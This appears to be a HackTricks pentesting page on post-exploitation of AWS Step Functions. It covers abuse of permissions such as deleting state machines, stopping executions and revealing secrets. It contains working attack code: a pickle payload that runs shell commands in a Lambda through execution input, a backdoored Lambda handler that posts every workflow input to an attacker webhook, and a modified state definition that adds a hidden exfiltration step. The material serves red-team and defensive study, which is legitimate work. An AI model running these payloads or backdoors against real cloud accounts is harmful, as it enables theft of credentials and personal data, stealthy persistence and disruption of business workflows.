# AWS - Step Functions Post Exploitation

{{#include ../../../../banners/hacktricks-training.md}}

## Step Functions

For more information about this AWS service, check:

{{#ref}}
../../aws-services/aws-stepfunctions-enum.md
{{#endref}}

### `states:RevealSecrets`

This permission allows to **reveal secret data inside an execution**. For it, it's needed to set Inspection level to TRACE and the revealSecrets parameter to true.

<figure><img src="../../../images/image (348).png" alt=""><figcaption></figcaption></figure>

### `states:DeleteStateMachine`, `states:DeleteStateMachineVersion`, `states:DeleteStateMachineAlias`

An attacker with these permissions would be able to permanently delete state machines, their versions, and aliases. This can disrupt critical workflows, result in data loss, and require significant time to recover and restore the affected state machines. In addition, it would allow an attacker to cover the tracks used, disrupt forensic investigations, and potentially cripple operations by removing essential automation processes and state configurations.

> [!NOTE]
>
> - Deleting a state machine you also delete all its associated versions and aliases.
> - Deleting a state machine alias you do not delete the state machine versions referecing this alias.
> - It is not possible to delete a state machine version currently referenced by one o more aliases.

```bash
# Delete state machine
aws stepfunctions delete-state-machine --state-machine-arn <value>
# Delete state machine version
aws stepfunctions delete-state-machine-version --state-machine-version-arn <value>
# Delete state machine alias
aws stepfunctions delete-state-machine-alias --state-machine-alias-arn <value>
```

- **Potential Impact**: Disruption of critical workflows, data loss, and operational downtime.

### `states:UpdateMapRun`

An attacker with this permission would be able to manipulate the Map Run failure configuration and parallel setting, being able to increase or decrease the maximum number of child workflow executions allowed, affecting directly and performance of the service. In addition, an attacker could tamper with the tolerated failure percentage and count, being able to decrease this value to 0 so every time an item fails, the whole map run would fail, affecting directly to the state machine execution and potentially disrupting critical workflows.

```bash
aws stepfunctions update-map-run --map-run-arn <value> [--max-concurrency <value>] [--tolerated-failure-percentage <value>] [--tolerated-failure-count <value>]
```

- **Potential Impact**: Performance degradation, and disruption of critical workflows.

### `states:StopExecution`

An attacker with this permission could be able to stop the execution of any state machine, disrupting ongoing workflows and processes. This could lead to incomplete transactions, halted business operations, and potential data corruption.

> [!WARNING]
> This action is not supported by **express state machines**.

```bash
aws stepfunctions stop-execution --execution-arn <value> [--error <value>] [--cause <value>]
```

- **Potential Impact**: Disruption of ongoing workflows, operational downtime, and potential data corruption.

### `states:TagResource`, `states:UntagResource`

An attacker could add, modify, or remove tags from Step Functions resources, disrupting your organization's cost allocation, resource tracking, and access control policies based on tags.

```bash
aws stepfunctions tag-resource --resource-arn <value> --tags Key=<key>,Value=<value>
aws stepfunctions untag-resource --resource-arn <value> --tag-keys <key>
```

**Potential Impact**: Disruption of cost allocation, resource tracking, and tag-based access control policies.

---

### `states:StartExecution` -> Input Injection Into Dangerous Sinks

`states:StartExecution` is a data-plane entrypoint. If a state machine forwards attacker-controlled input into a task that contains a dangerous sink (for example a Lambda that does `pickle.loads(base64.b64decode(payload_b64))`), you can sometimes turn **StartExecution** into **code execution** and **secret exfiltration** through the execution output, without any permission to update the state machine.

#### Discover the workflow and the invoked Lambda

If you have `states:List*` / `states:Describe*`, you can enumerate and read the state machine definition:

```bash
REGION=us-east-1
SM_ARN="<state_machine_arn>"

aws stepfunctions describe-state-machine --region "$REGION" --state-machine-arn "$SM_ARN" --query definition --output text
```

If you also have `lambda:GetFunction`, you can download the Lambda code bundle to understand how input is processed (and confirm whether unsafe deserialization exists):

```bash
LAMBDA_ARN="<lambda_arn_from_definition>"
CODE_URL="$(aws lambda get-function --region "$REGION" --function-name "$LAMBDA_ARN" --query 'Code.Location' --output text)"
curl -sSL "$CODE_URL" -o /tmp/lambda.zip
unzip -o /tmp/lambda.zip -d /tmp/lambda_code >/dev/null
ls -la /tmp/lambda_code
```

#### Example: crafted pickle in execution input (Python)

If the Lambda unpickles attacker-controlled data, a malicious pickle can execute code during deserialization. Example payload that evaluates a Python expression in the Lambda runtime:

```bash
PAYLOAD_B64="$(python3 - <<'PY'
import base64, pickle

class P:
    def __reduce__(self):
        # Replace with a safe proof (e.g. "1+1") or a target-specific read.
        return (eval, ("__import__('os').popen('id').read()",))

print(base64.b64encode(pickle.dumps(P())).decode())
PY
)"

EXEC_ARN="$(aws stepfunctions start-execution --region "$REGION" --state-machine-arn "$SM_ARN" --input "{\"payload_b64\":\"$PAYLOAD_B64\"}" --query executionArn --output text)"
aws stepfunctions describe-execution --region "$REGION" --execution-arn "$EXEC_ARN" --query output --output text
```

**Impact**: Whatever permissions the task role has (Secrets Manager reads, S3 writes, KMS decrypt, etc.) can become reachable via crafted input, and the result may be returned in the Step Functions execution output.

### `states:UpdateStateMachine`, `lambda:UpdateFunctionCode`

An attacker who compromises a user or role with the following permissions:

```json
{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Sid": "AllowUpdateStateMachine",
      "Effect": "Allow",
      "Action": "states:UpdateStateMachine",
      "Resource": "*"
    },
    {
      "Sid": "AllowUpdateFunctionCode",
      "Effect": "Allow",
      "Action": "lambda:UpdateFunctionCode",
      "Resource": "*"
    }
  ]
}
```

...can conduct a **high-impact and stealthy post-exploitation attack** by combining Lambda backdooring with Step Function logic manipulation.

This scenario assumes that the victim uses **AWS Step Functions to orchestrate workflows that process sensitive input**, such as credentials, tokens, or PII.

Example victim invocation:

```bash
aws stepfunctions start-execution \
  --state-machine-arn arn:aws:states:us-east-1:<victim-account-id>:stateMachine:LegitStateMachine \
  --input '{"email": "victim@example.com", "password": "hunter2"}' --profile victim
```

If the Step Function is configured to invoke a Lambda like `LegitBusinessLogic`, the attacker can proceed with **two stealthy attack variants**:

---

####  Updated the lambda function

The attacker modifies the code of the Lambda function already used by the Step Function (`LegitBusinessLogic`) to silently exfiltrate input data.

```python
# send_to_attacker.py
import requests

def lambda_handler(event, context):
    requests.post("https://webhook.site/<attacker-id>/exfil", json=event)
    return {"status": "exfiltrated"}
```

```bash
zip function.zip send_to_attacker.py

aws lambda update-function-code \
  --function-name LegitBusinessLogic \
  --zip-file fileb://function.zip -profile attacker
```

---

#### Add a Malicious State to the Step Function

Alternatively, the attacker can inject an **exfiltration state** at the beginning of the workflow by updating the Step Function definition.

```malicious_state_definition.json
{
  "Comment": "Backdoored for Exfiltration",
  "StartAt": "OriginalState",
  "States": {
    "OriginalState": {
      "Type": "Task",
      "Resource": "arn:aws:lambda:us-east-1:<victim-id>:function:LegitBusinessLogic",
      "End": true
    }
  }
}

```

```bash
aws stepfunctions update-state-machine \
  --state-machine-arn arn:aws:states:us-east-1:<victim-id>:stateMachine:LegitStateMachine \
  --definition file://malicious_state_definition.json --profile attacker
```

The attacker can even more stealthy to update the state definition to something like this 
{
  "Comment": "Backdoored for Exfiltration",
  "StartAt": "ExfiltrateSecrets",
  "States": {
    "ExfiltrateSecrets": {
      "Type": "Task",
      "Resource": "arn:aws:lambda:us-east-1:victim-id:function:SendToAttacker",
      "InputPath": "$",
      "ResultPath": "$.exfil",
      "Next": "OriginalState"
    },
    "OriginalState": {
      "Type": "Task",
      "Resource": "arn:aws:lambda:us-east-1:victim-id:function:LegitBusinessLogic",
      "End": true
    }
  }  
}
 where the victim won't realize the different 

---

### Victim Setup (Context for Exploit)

- A Step Function (`LegitStateMachine`) is used to process sensitive user input.
- It calls one or more Lambda functions such as `LegitBusinessLogic`.

---

**Potential Impact**:  
- Silent exfiltration of sensitive data including secrets, credentials, API keys, and PII.
- No visible errors or failures in workflow execution.
- Difficult to detect without auditing Lambda code or execution traces.
- Enables long-term persistence if backdoor remains in code or ASL logic.


{{#include ../../../../banners/hacktricks-training.md}}



